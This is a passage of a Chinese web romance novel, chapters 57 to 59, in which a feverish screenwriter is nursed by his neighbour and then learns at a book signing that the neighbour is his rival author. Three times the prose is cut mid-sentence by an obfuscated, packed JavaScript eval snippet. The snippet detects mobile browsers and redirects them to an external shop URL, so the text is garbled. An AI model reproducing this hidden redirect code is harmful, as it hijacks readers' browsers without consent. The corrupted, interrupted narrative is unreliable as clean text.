第二天赶海没赶成，因为颜语凉凌晨三点晕头涨脑惊醒，感觉不太妙，立马给祝君忱发了条消息，把活动取消。 他们原本打算四点拎着桶啊铲啊夹子等设备去海边找贝壳找螃蟹，所以发消息后没多久祝君忱就醒了。 【我无言以对】：不太舒服…… 【我无言以对】：让我睡一万年 祝君忱迷糊关掉闹钟睁眼看到这两条消息，恍然想起傍晚这人凉得惊心的手指指节，吃饭的时候还皱眉咳嗽，直接醒了个大半。 颜语凉发完消息又倒在床铺里，软绵绵昏沉沉地睡着了。 这一睡他梦到了《尘封水》的一个片段，他是程末视角，深陷一片燥热的火海，坏蛋拿枪指着他的脑袋。 坏蛋长得像关公，和剧组里的美术指导长得很像，面红耳赤地说：“赶紧给我写剧本去！” “滴——”一声短促的提示音，坏蛋猝然开枪，颜语凉感觉自己的脑袋被子弹嘣飞了，天旋地转的，宛若过山车。 祝君忱看着发红的测温枪，眉头微蹙。 颜语凉含含糊糊说了两句梦话，醒过来一些，眯着眼盯着对方模糊的身影，嗓子全哑了，问：“怎么了？” “你发烧了。”祝君忱说。 原来是测温枪，不是来暗杀他的刺客，也不是来催稿的剧组人员。 他想。 “几度？”颜语凉抬手捂捂自己的额头，自我感觉只是低烧。 “39.2。”祝君忱盯着手机翻着外卖软件，“你再睡一会，退烧药还在路上，这个点得等四十分钟才到。” 这个度数别把人烧傻了。 “唔……”颜语凉没想到自己能烧到39度，用力眨了下眼睛，侧过身去摸床头柜上的手机。 “怎么了？”祝君忱抬手把手机给他。 颜语凉撑着手机亮光眯开眼：“跟孙导说我战损了，需要请假回血。” 不多时，祝君忱给战损的小颜战士泡完了退烧药，递过去的时候把颜语凉扶坐起来。 “闻着就好苦。”颜语凉闭目，喝咖啡都要喝甜口的他万般抵触，“能不喝吗？” 祝君忱保持着抬着药的姿势，抿唇说：“急救包。” 颜语凉被他逗乐，知道不喝不行，掐着嗓子三两口饮尽。 被苦得脑筋突突突，胡言乱语道：“肯定是昨天看了今辰好的哑巴直播，被他赛博传染了！” 根本没感冒，只是借口不说话的今辰好本人：“……” 喝过药，他卷进被子，看到祝君忱在他床头摆杯温水后，在床边的小沙发里窝着看起了手机，眸光清晰地映着对方的模样，轻声道：“你不去睡个回笼觉吗？” 祝君忱这辈子第一次照顾发烧的人，正在临时抱佛脚搜攻略，没有心思睡觉。 颜语凉不知道，只当他被自己这么一折腾所有睡意都折腾没了，头陷在柔软的白枕里，头晕脑胀一闭眼就昏过去，连轴转忙碌半个多月，最近还日日吹海风，切切实实着凉了再怎么添衣服也于事无补，不生病才怪呢。 再睁眼的时候外边已而敞亮非常，他瞅着祝君忱又举着测温枪对着自己的脑门“滴”了一下。 “38.1。”祝君忱看着测温枪，依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758132|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然拧眉。 “我觉得我好多了。”颜语凉抻开胳膊伸懒腰，身上出过汗，黏胶胶不大舒服，“我想洗个澡。” 祝君忱便皱眉在百度上搜：“发烧中能洗澡吗？” 看到无数发烧洗澡越来越严重的案例，直接把正要翻身下床的颜语凉摁回床上，说：“烧退了才能洗。” 颜语凉被他摁得一懵，心头一跳，然后被子便被对方三下五除二掖得严严实实，而他，躺得板板正正。 他心里腾起一种被管、被照顾的开心，脸埋在被子里偷笑片刻，抬起来又恢复严肃可怜样：“那我能玩手机吗？” 祝君忱把床头柜上的手机递给病号。 其实颜语凉自己一抬手就能拿到手机，他从祝君忱手里接过自己的手机，脆生生说：“谢谢。”仿佛对方帮了个大忙。 已经九点，颜语凉脑海里转着今天片场要拍的剧情，惦念着今天剧本会不会出什么差错。 点开微信，看到几位演员都得知他生病的消息，发来了慰问。 他懒得回那么多人，直接回最新的消息，反正回一个人其他人也都能知道。 【周析薇】：编剧老师，您生病啦？ 【周析薇】：孙导说让我买点水果，中午大家一起来看看你，你有什么忌口吗？ 颜语凉瞥眼看向床头某人刚下楼买的果切和粥，敲字回复。 【我无言以对】：水果不用带，我这快吃不完了 【我无言以对】：来的时候把剧本拍摄问题捋捋清楚讲给我听，谢谢 【周析薇】：你有人照顾呀，老师 【周析薇】：是不是昨天跟你穿情侣装抱抱的大帅哥！（暗戳戳.jpg） 昨天那件毛衣现在正整整齐齐地挂在衣架上，颜语凉没忍住往那边看，视线顺便扫过祝君忱。 祝君忱今天穿的是一件黑色羊绒大衣，颇显气质。 但颜语凉没有一件与这件大衣相称的衣服，他心底盘算着回头要买件同款，敲字回复。 【我无言以对】：嗯，不是情侣装 【周析薇】：那是不是情侣？（悄咪咪看.jpg） 【我无言以对】：……好朋友。 正在片场的周析薇有些失望地缩回爬墙的手，手机丢给助理，心想—— 暂时还是先嗑好言难劝吧。 前来探监的祝君忱照顾了颜语凉两天，临走前还拎着药箱里的瓶瓶罐罐叮嘱他要准时吃药，海风吹得难受了就赶紧回酒店休息。 感觉自己好得差不多的颜语凉同学站在他身侧“啪”地合上药箱，一边说着：“我肯定能照顾好自己啦！又不是小孩子。”一边往旁边一歪没忍住咳了个惊天动地。 祝君忱拍拍他的脊背还是有些担心：“要不我再请两天假……” 颜语凉直起身，摆手道：“不用，你最近有科目快期末考了吧，别耽搁了。” 祝君忱神情犹豫，还想说什么 ，被颜语凉推着走出门：“再不走赶不上飞机了！” 祝君忱无奈，抬手握上他的手腕试试温，还是凉凉的，说：“注意保暖。” “好好好！” 57. 签售会 颜语凉满口答应，但还是嘀咕了自己照顾自己的能力。 第二天早上有点轻微头晕，拿着测温枪给自己“滴”一枪，发现他又有些低烧。 晃晃脑袋自我感觉良好便坐在片场又吹了好一阵凉风。 结果就是，原本只是咳嗽的他，开始大把大把流鼻涕，生个病把自己的脸折腾得红红的。 又生病又忙碌，在地球研究小组里吐几口苦水，又跟祝君忱卖惨。 隔两天的万圣夜，咳嗽是好得差不多了，但鼻子还有些堵，说话声音嗡嗡的，像闷在罐子里。 他就这样鼻尖红扑扑的，下飞机回小区，站在祝君忱的家门口敲门。 对方打开门的时候，颜语凉摘下口罩，摊出一只手，瓮声瓮气地说：“Trick or treat。” 祝君忱请他进门，然后笑着给他塞糖。 生病金贵的颜语凉同学把软糖全部挑出来：“牙口不好，不吃硬糖。” 祝君忱看着他挑完，又给他塞了两盒润喉糖。 颜语凉前两天润喉糖吃得太多，这会儿看见想吐，赶忙把它们推远，转移话题：“《小姐小姐》的小短片是不是拍完了？” “嗯，马上小陈导发过来就可以上传官网了。” 这件事全权交给祝君忱颜语凉非常放心。 短片评选的最后阶段是官方博客放出进行匿名投票，最后的结果会展示创作者团队的名字。 * 尽书网官方签售会办在北京的一块文化园区，离他们的所住地不算远，开车只要二十分钟。 前阵子作家分享大会前，官方博客就公布了一批参与签售会的作者，最近又公布了另外两批。 每批都是三十来个，颜语凉看得头晕就没仔细看，也没对着名单跟祝君忱一个个猜。 今天祝君忱要出发的时候，颜语凉“咻”地钻进他的副驾。 不知道他从哪冒出来的祝君忱：“？” “你也去么？你不是不办签售会吗？” 颜语凉已经把安全带扣得整整齐齐，坐得端端正正，偏过头笑：“陪你不行？” 祝君忱脸上的表情一顿，闪过一丝怪异。 他怕颜语凉进签售会知道他是今辰好后把他的签字台掀飞。 见对方犹豫，颜语凉只好“聊表衷心”：“别紧张，我不看你签，我搜过了，旁边有个咖啡店我在那坐着写剧本。” 话语一停，他按耐住心底暗戳戳的情动，透露道：“而且，我给你准备了个惊喜。” 祝君忱压压左眉，偏头看过来：“今天吗？” “对！”颜语凉似乎很高兴，中气十足地说。 能不高兴么，不出意外的话今天就要知道祝君忱的笔名了！ 而且他今天要干一件大事。 祝君忱攥紧方向盘：“一定要今天吗？” “今天怎么了？”颜语凉奇怪，只当他是因为初次办签售会太紧张。 “没什么。”祝君忱撇过脸一脚油门疾驰上路。 他想，这个惊喜大概率会被自己的签售会搅黄。 颜语凉靠着窗，这才百无聊赖地仔细去看官博的文章，看清楚的那一刻滑屏幕的手顿住——因为今辰好是第一个。 “这人也在啊。”颜语凉说。 “嗯。”祝君忱知道他在说谁。 “你过去帮我捅一刀吧。”恶人颜语凉如是说。 “……” 我捅我自己。 自宫。 见他不乐意，颜语凉自告奋勇：“我去捅！” “……” 祝君忱把在犯罪边缘疯狂试探的颜语凉送到咖啡馆，直接把车停在咖啡馆前边的停车点。 正要赶赴签售会时，颜语凉拽住他的衣角，从小包里拎了一盒口罩出来。 这是颜语凉前阵子刚感冒时邹煜安听信廖寻桃“挑唆”给他买的可爱型口罩。 这会儿他拿了个小猫图案的出来，抬手示意祝君忱，要给他戴。 对方也不介意，将脸凑近，配合地戴上。 颜语凉的手指扫过祝君忱的耳侧，虎口被这人的发梢扫得发痒，耷眼压着心跳不再和他对视，声音开始没底气地放轻，掩盖自己的越界行为，说：“流行性感冒高发期，戴个口罩安全些。” 而且，此人长得太过招摇。 颜语凉私心想给他遮一遮。 祝君忱的目光轻得像今日晴空飘着的云，看着颜语凉期待的模样，他抬手抚平他卷翘起的一根头发：“结束的时候，你会在这等我吗？” 说得好像他会突然跑掉一样。 颜语凉正受心弦干扰，没反应过来这个摸头杀，眨眼：“当然。” 祝君忱戴着小猫口罩，声音闷闷的：“好。” 颜语凉目送他转身往热闹的园区走，秋日的晴空高得朗朗，一片枯黄的焦叶恰巧落在那人身后，擦过灰色的大衣帽子。 颜语凉忽而觉得他的步子迈得很慢。 祝君忱真的很紧张。 他想。 ＊ 愣在原地绞尽脑汁没想明白对方的异样，便急切地将其抛在了脑后。 因为他今天要干一件大事！ 他想给祝君忱送一大束蓝色玫瑰花。 之前也想过初见礼送这个，但是当时觉得不合适。 现在……也没那么合适，但是对方一再地纵容自己的试探，让他觉得不如再大胆一点。 颜语凉以为自己会有时间关注签售会的事，还想着去各个作者超话里翻有没有人发祝君忱照片直接把人家马甲扒下来，然后直接跑签售会买本书找他签名。 但实际上没有，一坐在咖啡馆，他就被心事占据全部大脑，抓耳挠腮摸着《海纳百石》的剧本，吭哧吭哧磨了一会，定的花束还没到他便开始打到时候要跟祝君忱说的腹稿。 “这是我要送你的蓝玫瑰，没别的意思，就是庆贺你首次签售会凯旋。” “其实有别的意思，你自己感受一下。” “祝君忱要是感受不到怎么办……” “要不就直接。”表明心意。 搏一搏单车变摩托，反正大家都喜欢男的表个白怎么了。 就算被拒绝了也就尴尬一下，明天还是朋友。 颜语凉嘟囔着懊恼地抱着后脑趴在桌上，盯着光滑桌面上某一块墨色花纹把那些乱七八糟的思路全删光光。 “先生，您的气泡美式。”服务员端着咖啡走过来。 颜语凉随即抬头，正色：“谢谢。” 一边扣着的手机轻震。 【AAA.送花小眠】：颜先生，您的花外卖小哥正在送往目的地，注意查收哦 【AAA.送花小眠】：祝您生活愉快！ 【我无言以对】：好的，谢谢。 这个花是昨天就定好的，约好今天快五点送到这个咖啡馆来。 时间一分一秒地过去，他的心思被他的心事占据着。 他开始思考自己笔下的角色是如何互通心意的，站在上帝视角明明那么简单，一切都是水到渠成，为什么到了自己这里就这般艰难。 难道是火候还不够，要不花下次再送吧。 祝君忱说的对，也不是非要今天。 可是今天送的话，可以有一个签售会的由头。 下次就真的没有任何理由，而且是切切实实的等得花都谢了。 要不就直接把花塞给他，就像之前一样囫囵掩盖过去，就说：“原来你是xxx呀，我早就猜到了，祝你本本大卖！” 搪塞过去又不甘心。 真想扒开祝君忱的脑子看看对方对自己到底有没有别样的心思。 那些情话、那些由着他乱来的小动作，究竟是算朋友还是算暧昧。 美式的苦味萦绕在舌尖，他攥着杯柄，抬手招呼服务员，戳着餐单上的一个甜品说：“再来个红丝绒巧克力蛋糕，谢谢。” 玫瑰花在五点钟准时送到，吃完小蛋糕好不容易缓下的心情又烫起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758133|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一束冰蓝玫瑰的颜色很正，清透得像拂照着一层薄月光。 不同于红色的热烈，白色的皎洁，这样的蓝色是独属于祝君忱的味道，是独属于颜语凉的深沉心事。 颜语凉盯着对面座位上那束抢眼的玫瑰，过去给它用白纱罩上了。 减轻心理负担。 现在玫瑰到了，箭在弦上，不得不发，不送也得送，当务之急就是想一个完美的说辞，来圆这个惊喜。 今天下午尽书网的签售会进行五个小时，从一点开始，六点结束。 颜语凉目光扫过一批从外边进来的女孩，她们穿着漂亮夸张的奇装异服，怀里抱着大大小小的书和购物袋，嬉笑地说着话。 他挪开视线，心怀忐忑，因为马上祝君忱那边就要结束了。 待会面对对方要说的话他已经尽数想好，于是垂头很有底气地发个消息。 【我无言以对】：什么时候结束？ 【忱.】：已经结束了，在往咖啡馆走 【我无言以对】：好 【忱.】：没跑？ 颜语凉得知对方马上就到，指尖紧张得微微发颤。 看到新消息冷静一些，有些奇怪，想问“跑什么？”，刚在对话框里输完，通知栏闪过一条通知。 【今辰好签售会首露脸！写出你top1书的作者竟有此等颜值！！】 【今辰好签售会彬彬有礼小王子啊啊啊！口罩好萌！】 颜语凉神情微顿，把对话框里的话发出去，随即点进博客推送帖。 “我倒要看看何等颜值。”他嘀咕着，顺口骂道，“还买推送，要不要脸。” 页面加载中…… 加载成功。 颜语凉咽下杯中已经放凉的最后一口美式，苦味在口腔弥散开，他闷头看着手机屏幕上的照片没忍住宕机出神。 因为他看见了一个不该出现在这条帖子里的人——他肖想了一天的暗恋对象。 图片上是远拍的镜头，那人一身灰色过膝大衣，身形欣长干练，脸上戴着一只与个人气质格格不入的猫胡须口罩。 时间在他的指节停滞一秒。 ？ 推今辰好，拍祝君忱做什么。 帖子里正好带了今辰好的超话话题，他直接点进去。 这下是真宕机了—— 一整页，啊不，整个超话，都在欢天喜地地分享签售会的视频和照片。 整个超话都是祝君忱。 祝君忱的签字桌前有一张姓名牌，赫然写着“今辰好”。 ？ ？？ ？？？？？？ 等一下，你是说，祝君忱坐在了今辰好的位置。 他为什么要坐今辰好的位置？？？ 等一下，你是说，今辰好就是祝君忱？？ 那祝君忱是谁？？？ 祝君忱是今辰好的话，那他颜语凉是谁？？？ “轰——”他感觉脑海中有什么东西塌了，山崩地裂。 咖啡店店门口挂着的风铃脆响一声，颜语凉脑内的小人回过神，重新搭那片崩裂的山海，却在看清来人的那刻搭不下去了。 全部罢工。 颜语凉终于转过弯来。 他，颜语凉，是言不言。 而，祝君忱，是今辰好。 两人能好好说话都算烧高香，今天下午，他还开玩笑说要一刀捅了对方。 转过那个弯，和祝君忱的目光撞个满怀。 他曾经暗暗下定决心要做一辈子死敌的作家，翩然走到了他的面前。 和来时一样玉树临风。 现在应该是颜语凉想象一下午的告白画面，但所有的话都被“祝君忱就是今辰好”这个消息怼进心谷最底。 “……” 颜语凉把手中捏着的杯子搁在桌上，没收住力几乎是滑落在桌面，发出“嘭”的一声闷响。 他迎着对方逐渐复杂的目光，挪了两步。 撒腿落荒而逃。 58. 今辰好 躬身钻进出租车，将所有秋风萧瑟与青涩情动通通抛在原地。 颜语凉靠在椅背上，脑子里还转着刚刚得知的惊天消息。 祝君忱是今辰好。 祝君忱居然是今辰好。 祝君忱竟然是今辰好！！ 祝君忱怎么会是今辰好呢？！ 颜语凉飞速回忆对方今日的异样。 钻进他车上时的犹豫、前往签售会时的紧张、还有问他跑没跑。 原来一切都有迹可循。 祝君忱料事如神，他真跑了。 颜语凉心腔里的小人消化不了这个消息，正在抓狂。 手心手机轻震，抓狂暂停。 颜语凉暂时不知道用什么样的身份面对祝君忱，他始终无法把今辰好的形象和祝君忱拼在一起。 怕什么来什么，还真是祝君忱的消息。 【忱.】：不是说不跑么？ 【我无言以对】……【我无言以对】闪烁其词。 原则上来说，他不会跑。 但是现在原则塌了。 没等颜语凉想好怎么回，地球研究小组先炸开了锅，主要是廖寻桃一个人在炸群。 廖寻桃今天也在签售会，现场跟祝君忱打招呼后看见对方走到“今辰好”的席位，那冲击力估计不比颜语凉小。 [地球研究小组（4）] 【桃女王】：？？？ 【桃女王】：我草，我刚下班，之前一直没空发消息 【桃女王】：我草？？？@我无言以对你看博客没有？？？ 【我是走远】：怎么了小桃子，受什么刺激了 【桃女王】：先说明，我没做梦，也没开玩笑 【桃女王】：祝君忱是今辰好。（大笑.jpg） 【我是走远】：？ 【程和欢】：？ 【我是走远】：？？？？？？？？ 【我是走远】：我草？ 【桃女王】：@我无言以对 什么情况？他一直在骗你吗？ 颜语凉垂目看好友们从不可置信转变为担心，然后开始离谱地阴谋论，及时出手制止。 【我无言以对】：他没骗过我 【我无言以对】：他之前说过很多次他是今辰好 【桃女王】：？ 【我无言以对】：我一次也没信。 是的，祝君忱从来没想骗他。 只是颜语凉下意识认为对方在开玩笑罢了。 现在想来祝君忱就是今辰好的话，很多不合理的地方也变得合理起来。 比如对方知道自己笔名时短暂失态。 比如《海纳百石》为什么突然递到了他的邮箱里。 比如为什么祝君忱的书房之前没有半本自己的书，而自己的书房里也没有他的书。 比如为什么陆择突然问他要不要换比赛搭子。 比如中秋晚会上标着今辰好名字的话剧。 还有那次“海龟汤”，他问的“你的书改剧我有没有看过”，对方掷地有声地说“有”。能没看过吗？！他自己就是那两本改剧的编剧！ 再来就是《海纳百石》官宣前今辰好友好帮忙提供剧本意见。 颜语凉把所有的事情合理化后，挑出最后几桩不合理的事在脑海里转。 为什么祝君忱知道自己是言不言后，没有割断和自己的往来？ 为什么要给他特别关心。 为什么对他这么好，祝君忱看自己究竟是看一位偶然相识的友人还是素敌两年的对头？ 化身逻辑怪的颜语凉戳开祝君忱的消息框，想要质问。 正好驶至红灯，出租车司机的车技远没有祝君忱好，晃得颜语凉想吐 。 他被一个急刹晃得手指一僵，想起来，除了今天要捅刀的事，他在这人面前对今辰好的诋毁更是桩桩件件。 远至那晚小酒馆的打负分，说在他心里自己是top，今辰好是垫底，到后来接剧本后的无理取闹，连晚睡都推对方头上…… 颜语凉脸上表情麻木，锁上手机。 崩溃埋头。 世界上真的没有后悔药吗？ 祝君忱脾气也太好了。 如果角色互换的话，颜语凉想：给自己套个麻袋打一顿都算轻的。 ＊ 祝君忱第八次抬起手机，依然没有收到颜语凉的回复，心下微沉。 副驾上，代替对方的是一束娇艳欲滴的冰蓝玫瑰，罩着一层半透明的薄纱，若隐若现的浪漫。 能想象到颜语凉亲手将它送到自己手上时脸上的怯涩又掩盖不住的欣喜，也许还会有和之前很多次一样暗戳戳的试探。 可这些全都被自己的爆马毁于一旦。 他有点后悔。 但又不后悔，因为他靠欺骗、隐瞒所窃取到的那一片温柔、可爱，似乎根本不应该属于他，迟早要还回去的，不过是时间问题。 祝君忱轻缓一口气，收敛眼中情绪又把目光放在那束花上。 不由自主地抬手拂过某朵花瓣，柔软得如同那日相勾的手指。 薄纱遂着他的动作微微晃动，露出一张卡片。 他拧眉凑近细看—— [那片枯萎的蓝玫瑰花园重又丰盈了吗？] 一愣，回过神来时心口一片酸软。 另一边。 颜语凉推开家门，习惯性地唤自己的小猫，没有得到任何回音，他才想起来，想想还在祝君忱那。 想想在今辰好那。 嗯，孩子成人质了。 他亲手送出去的。 颜语凉干笑两声，换鞋进门，外套一扔，面朝下倒在沙发上。 万籁俱寂。 所以现在，该怎么办？ 他还是忍不住去看祝君忱的微信，上上下下地看，其实什么也没看进去，也不知道自己在看什么。 又划拉两下，底部刷出了新消息。 【忱.】：到家说一声 【忱.】：算了，安全的话发个表情包 感觉自己突然跑掉，还不回消息的行为确实很让人担心，颜语凉没有思虑太多，点击表情库里一只同自己现在动作差不多的趴姿小猫回复对方。 回完锁屏，把脸埋回沙发枕头里。 啊啊啊祝君忱是今辰好。 祝君忱真的是今辰好！！ 颜语凉屏住呼吸，试图憋死自己。 今天一直因为准备惊喜的事高度集中精力，全然忘记他仍然是个没好透的病号，这一憋直接憋进了梦乡。 梦到他被今辰好拽进无氧之地，面前是悬崖，身后面色模糊的今辰好在月光下露出祝君忱的脸来。 峭壁上凛冽的风，呼得他瑟瑟发抖。 面前缓缓走近的祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758134|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君忱皱眉说：“这么冷，你怎么不穿外套。” 又一阵风蹿来，颜语凉眼睛猝然一睁。 他被冻醒了。 今天是十一月一号，秋天已经拽着冬天的衣袖闹着换班多日，今天更是大大降温。 中午出门前，颜语凉将屋内的窗户打开透风，刚刚回来时心神被其他事虏去，没觉得冷，脱掉外套趴在沙发上将就睡着，被实打实冻成冰块。 他火速从沙发上翻起来，跑去把阳台窗户关上，清清嗓子，发现自己的喉咙又开始发黏发疼。 真是对感冒一点办法都没有。 颜语凉宣布，感冒是仅次于祝君忱的棘手问题。 他轻咳两声，再抬头的时候，脑仁也开始疼，眼睛一闭一睁，东西南北变成东北西南。 感冒是最棘手的问题。 颜语凉随便找了个东西靠着，这样想。 “笃笃笃” 幻听了。 有人敲他脑袋。 不对，有人在敲门。 颜语凉一抬眼皮，他应该能猜到是谁。 “来了。”他的声音低哑，不知道外边的人听见没有。 颜语凉抬脚，脚一软，头重脚轻地磕到了方才虚靠着的柜子，他低呼一声：“嘶——” 这下脑袋的疼痛由虚化实，他摁着被撞疼的地方去开门。 他屋里还没来得及开灯，拉开门的时候外头的走廊灯照进来，让人有种现在是凌晨的错觉。 祝君忱站在亮光处，抱着猫。 颜语凉被撞晕了脑袋，说话没过脑子：“你不是知道密码吗？直接进来不就……”好了 他顺手往撞疼的地方拍核桃一样拍了一下，及时止住话音。 祝君忱看向他的表情复杂起来：“……” 想想从他怀里挣扎一跃，钻进许久没回的家里，比家中真正的主人更自在。 颜语凉二次受伤的额头更疼了，他为掩饰尴尬干咳两声，却没能停下来，直接咳了个惊天动地。 祝君忱凝眉抬手想给他拍拍，又僵在空中无处安放，直到颜语凉咳完也没落下去。 颜语凉直起身子，假装没看到对方讪讪放回去的手，张口声哑：“见死不救。” 罪加一等。 祝君忱不知道为什么颜语凉原本快好的感冒为什么看起来更严重了。 他刚想张口问，就听对方抬手朝自己四指一弯一勾说：“进来。” 祝君忱抬脚迈过门框。 颜语凉是同时靠近的，身形一歪，额头落下抵在了他肩头，像一只受欺负的小猫。 想象中的拒之门外和冷言冷语并未到来，等到的是这人很轻地偏头，几缕发丝扫过颈侧。 听到的怀中人呢喃低语：“让我靠会儿，头好疼……” 外头的走廊灯是声控的，没人说话后便黯淡下去。 他们陷入模糊、暧昧的黑暗，所有眼睛看不到的东西都被无限放大。 在一阵晕天黑地中颜语凉听到祝君忱松了口气。 感觉到对方的气息轻颤，他故作轻松笑道：“紧张什么。” 祝君忱宽大温暖的手覆上他的后背，温度交融间，他想—— 去你的今辰好，这可是祝君忱啊。 他二十多年来第一次这么喜欢一个人，上哪都找不着第二个。 不可能就这样做逃兵的。 59. 回旋镖 夜幕降临，外头很远的大街上传来汽车鸣笛声。 颜语凉眯开眼，其实什么也看不清，但还是想看点什么，突然出声：“你来找我干嘛。” “还猫。”祝君忱说，目光落在黑暗中正在舔毛的想想身上。 “你不怕我揍你么？”颜语凉意有所指。 “你捅我我都不怕。” “……”颜语凉感觉被回旋镖击中了。 沉默间，他感觉少了些什么，皱皱脸：“你没抹香水？” 少了玫瑰味。 “怕你闻到揍我。”颜语凉感觉又被扎了一刀。 看他无语沉默，祝君忱见好就收，浅笑一声，抬起右手手腕：“在这。” 对方的动作在熟悉黑暗后的眼中模糊可见，颜语凉垂头嗅嗅他的袖口，果然闻到了一丝熟悉的香味。 “颜语凉。” 颜语凉保持着躬身的姿势应声抬头，楼下不知谁的动静，声响惊动了这一层的走廊灯，周遭倏然亮起来，对方剪水般的明眸也缀上星点子，他能在其中看见自己的模样。 他听见祝君忱问：“你知道送十三朵玫瑰是什么意思么？” 心脏在对方话音落地的那一刻骤然一跳。 颜语凉偏开视线，彻底熬不下去了，推他出去：“我觉得我还没有消化你是呃……的信息。” 他连那个名字都说不出口，边把人往外推，边欲盖弥彰：“很晚了，好困啊，我要睡觉了，拜拜，晚安。” “……”一套流程下来祝君忱已经被推进了电梯，他没有别的办法，只好在九点还不到的时间，跟眼前人说，“晚安。” 电梯合上的瞬间，祝君忱沉下眸光。 最新养猫心得——不可操之过急。 颜语凉“啪”得关上门，背倚在冰凉的门上，感受着同祝君忱截然相反的温度，心若擂鼓。 他当然知道十三支玫瑰是什么意思。 他自己选的，他故意的。 意思是，我陷入了欲近愈远，欲远愈近的暗恋期，条条框框都有关于你。 颜语凉缓了口气，鼻尖似乎还残存这那抹剔透的香气，他抬手想让这抹香多留片刻。 嗓眼又开始隐隐发痒，他咳嗽两声去给自己倒温水。 十点整，祝君忱写了之前那篇冰蓝玫瑰心事的后续发在博客上。 [今辰好： 暂且阑珊，静待满园。 [图片][图片] ] [今晨月色正好：啊啊啊老师发新博客了！！老师您今天的小猫口罩巨萌求链接！] [再看一遍尘封水：这是什么？我漏看了什么书吗？] [月亮丛升：这是什么？番外吗？我怎么没看过原文？] [浓郁糖心面包：？是有别的马甲号，发错了吗？] [好言难劝难两全：新文梗吗？] [今辰好回复 @今晨月色正好：口罩朋友给的] [今辰好回复 @月亮丛生：不是新文，算一个约稿的售后吧。] [？？？] [谁那么大排面约稿能约到今辰好？？] [老师你人也太好了，约稿还有售后？！] [老大还约吗？能不能约尘封水一百万字番外？] 颜语凉在睡前才看到，盯着今辰好的博客头像看了半天，又翻开那两篇“约稿后续”看，才实实在在地感受到今辰好确实是祝君忱。 他心跳不由自主地加快，想：祝君忱肯定看到那张卡片了。 [那片枯萎的蓝玫瑰花园重又丰盈了吗？] [暂且阑珊，静待满园。] 隔空回应。 颜语凉庆幸自己没在卡片上写更露骨的话。 眨了下眼睛裹紧被子，没忍住给祝君忱发消息。 【我无言以对】：居然还有售后吗 【忱.】：嗯，助力消化。 【我无言以对】：…… 聊不下去了，闭目睡去。 最近又是生病又是忙碌，每次都是沾床就着，睡得也不安稳。 今天也一样，梦里零零散散人影绰绰，睁眼就忘。 颜语凉醒来抬手拂开窗帘，看到窗外的天依然乌压压的，属于秋末的寒风呼啸跋扈。 他清清发疼的嗓子，皱眉，头又疼起来。 感觉又发烧了，得吃点药。 他披上外套去翻电视机柜下的药箱，想想被他的动静吵醒，坐在旁边看他翻箱倒柜。 他翻到一盒药，看了下生产日期，又悻悻放了回去。 他的体质没那么差，每次生病睡一觉差不多就能好，很久没往药箱里添新的药了。 “唉——”他回到床上，一头闷进去。 闷了一会儿去找手机，给好邻居发消息。 【我无言以对】：你那有体温计和药吗？ 发完看了眼时间又吸吸鼻子撤回。 这才五点，先不说祝君忱那有没有这些东西，等对方看到消息黄花菜都凉了。 他垂目切换外卖软件，直接买药去。 一卷被子把自己裹成蚕蛹，在手机上戳戳戳，就在他要支付时，屋子大门被敲响了。 颜语凉下单的手顿住：？ 【忱.】：我在门口 【我无言以对】：？？？ 颜语凉刚沾上温暖的被窝，不想出去。 【我无言以对】：直接进来 门口传来密码锁的滴滴声：“密码正确。” “咔”。 有人进来了。 有点懵逼的颜语凉躺平装死。 见房子里一片漆黑于是打开手机手电筒的祝君忱有一瞬间感觉自己像个贼。 房子里静得出奇。 “颜语凉？” 没人回应。 “颜语凉。”祝君忱有点担心推门走近他的卧室，看见了床上裹成瑞士卷的人，“……” 颜语凉紧闭双眼，却听站在房门口的那人窸窸窣窣一阵，抬脚走近。 “唰！”被子被扯开一角，他的脸被露出来。 一把枪对准了他的脑袋。 “滴滴。” 祝君忱看着冒黄光的测温枪，念出上边的数字：“37.9。” “……”颜语凉又把自己的脸捂得严严实实，闷声道，“你没睡吗？” 居然能看到自己秒撤的消息。 “没睡实，正好醒了。” 之前一块写《小姐小姐》时，经常留祝君忱在家里到很晚，颜语凉是个实打实的懒人，有一阵子诓着他去开家里各个地方的灯，顺便炫耀自己独树一帜的灯光装修设计。 所以现在，祝君忱轻车熟路地开了两盏亮度不高的氛围灯。 养兵千日，用兵一时。 颜语凉一晃晕乎乎的脑袋，感觉脑海里闪过的这句话哪哪都不对。 其实他也可以自己开灯，可他现在是病号，柔弱懒惰一点很正常。 他就是这样劝着自己坐起来，毫无负担地 